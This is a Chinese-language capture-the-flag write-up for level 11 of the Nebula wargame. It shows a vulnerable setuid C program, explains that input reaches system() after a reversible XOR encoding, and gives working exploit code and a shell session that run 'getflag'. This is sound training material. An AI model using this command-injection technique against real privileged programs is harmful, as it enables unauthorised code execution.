/home/flag11下有一个名叫“flag11”的程序,它存在一个可执行任意文件的漏洞,它的代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
setgid(getgid());
setuid(getuid());
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
面对长串的代码,我们可以从危险函数入手,这里的危险函数是system。它位于process函数中:
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
setgid(getgid());
setuid(getuid());
system(buffer);
}
这里system的参数来自于buffer变量的内容,说明这里可能是可控的,回溯跟踪函数调用,你可以发现,这里确实是可控的。但是,这里有少许复杂,因为在system执行之前,程序对buffer里的数据在执行前做了一次异或运算,所以,buffer缓冲区的数据被改变过了。但是,异或运算的法则是:`a^b=c`,已知`b`和`c`,`b^c`就可以得到`a`。这里也一样:我们把加密后的数据带入这个函数,经过一次异或运算,它就会还原了。对应的加密代码如下:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
int length = 1024;
//要执行的命令
char *cmd = "getflag";
char buf[1024];
int key = length & 0xff;
int i = 0;
//把“getflag”字符串拷贝到buf里,其余空间空字节填充
strncpy(buf,cmd,1024);
for(; i<length; i++)
{
buf[i] ^= key;
//一定要buf[i]^key才可得到正确的key,上面那句代码才可正确执行
key = key - (buf[i] ^ key);
}
//输出至标准输出
puts("Content-Length: 1024");
fwrite(buf,1,length,stdout);
return 0;
}
还要注意代码中getrand函数里的这句:
tmp = getenv("TEMP");
需要环境变量TEMP,所以,需要先设置一个名叫“TEMP”的环境变量:
level11@nebula:/home/flag11$ export TEMP=/tmp
接着,编译代码:
level11@nebula:touch /tmp/xxx.c level11@nebula:/home/flag11$ gcc -o /tmp/exp /tmp/xxx.c level11@nebula:/home/flag11$ /tmp/exp | ./flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target account
参考: